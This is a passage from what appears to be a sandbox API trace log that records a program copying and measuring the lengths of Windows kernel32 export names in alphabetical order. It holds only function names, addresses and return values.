lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0117.621] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0117.621] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0117.621] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0117.621] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0117.621] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0117.621] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0117.621] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0117.621] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0117.621] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0117.621] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0117.621] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0117.621] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0117.621] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0117.621] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0117.621] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0117.621] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0117.621] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0117.621] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0117.621] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0117.621] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0117.621] lstrlenA (lpString="BACKUPREAD") returned 10 [0117.621] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0117.621] lstrlenA (lpString="BACKUPSEEK") returned 10 [0117.621] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0117.621] lstrlenA (lpString="BACKUPWRITE") returned 11 [0117.621] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0117.622] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0117.622] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0117.622] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0117.622] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0117.622] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0117.622] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0117.622] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0117.622] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0117.622] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0117.622] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0117.622] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0117.622] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0117.622] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0117.622] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0117.622] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0117.622] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0117.622] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0117.622] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0117.622] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0117.622] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0117.622] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0117.622] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0117.622] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0117.622] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0117.622] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0117.622] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0117.622] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0117.622] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0117.622] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0117.622] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0117.622] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0117.622] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0117.622] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0117.622] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0117.622] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0117.622] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0117.623] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0117.623] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0117.623] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0117.623] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0117.623] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0117.623] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0117.623] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0117.623] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0117.623] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0117.623] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0117.623] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0117.623] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0117.623] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0117.623] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0117.623] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0117.623] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0117.623] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0117.623] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0117.623] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0117.623] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0117.623] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0117.623] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0117.623] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0117.623] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0117.623] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0117.623] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0117.623] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0117.623] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0117.623] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0117.623] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0117.623] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0117.623] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0117.623] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0117.623] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0117.623] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0117.623] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0117.624] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0117.624] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0117.624] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0117.624] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0117.624] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0117.624] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0117.624] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0117.624] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0117.624] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0117.624] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0117.624] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0117.624] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0117.624] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0117.624] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0117.624] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0117.624] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0117.624] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0117.624] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0117.624] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0117.624] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0117.624] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0117.624] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0117.624] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0117.624] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0117.624] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0117.624] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0117.624] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0117.624] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0117.624] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0117.624] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0117.624] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0117.624] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0117.624] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0117.624] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0117.624] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0117.624] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0117.625] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0117.625] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0117.625] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0117.625] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0117.625] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0117.625] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0117.625] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0117.625] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0117.625] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0117.625] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0117.625] lstrlenA (lpString="BEEP") returned 4 [0117.625] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0117.625] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0117.625] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0117.625] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0117.625] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0117.625] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0117.625] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0117.625] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0117.625] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0117.625] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0117.625] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0117.625] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0117.625] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0117.625] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0117.625] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0117.625] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0117.625] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0117.625] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0117.625] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0117.625] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0117.625] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0117.625] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0117.625] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0117.625] lstrlenA (lpString="CANCELIO") returned 8 [0117.626] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0117.626] lstrlenA (lpString="CANCELIOEX") returned 10 [0117.626] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0117.626] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0117.626] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0117.626] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0117.626] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0117.626] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0117.626] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0117.626] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0117.626] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0117.626] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0117.626] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0117.626] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0117.626] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0117.626] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0117.626] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0117.626] lstrlenA (lpString="CHECKELEVATION") returned 14 [0117.626] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0117.626] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0117.626] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0117.626] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0117.626] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0117.626] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0117.626] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0117.626] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0117.626] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0117.626] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0117.626] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0117.626] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0117.626] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0117.626] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0117.626] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0117.626] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0117.626] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0117.626] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0117.627] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0117.627] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0117.627] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0117.627] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0117.627] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0117.627] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0117.627] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0117.627] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0117.627] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0117.627] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0117.627] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0117.627] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0117.627] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0117.627] lstrlenA (lpString="CLOSESTATE") returned 10 [0117.627] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0117.627] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0117.627] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0117.627] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0117.627] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0117.627] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0117.627] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0117.627] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0117.627] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0117.627] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0117.627] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0117.627] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0117.627] lstrcpyA (in: lpString1=0x2e7eb60, 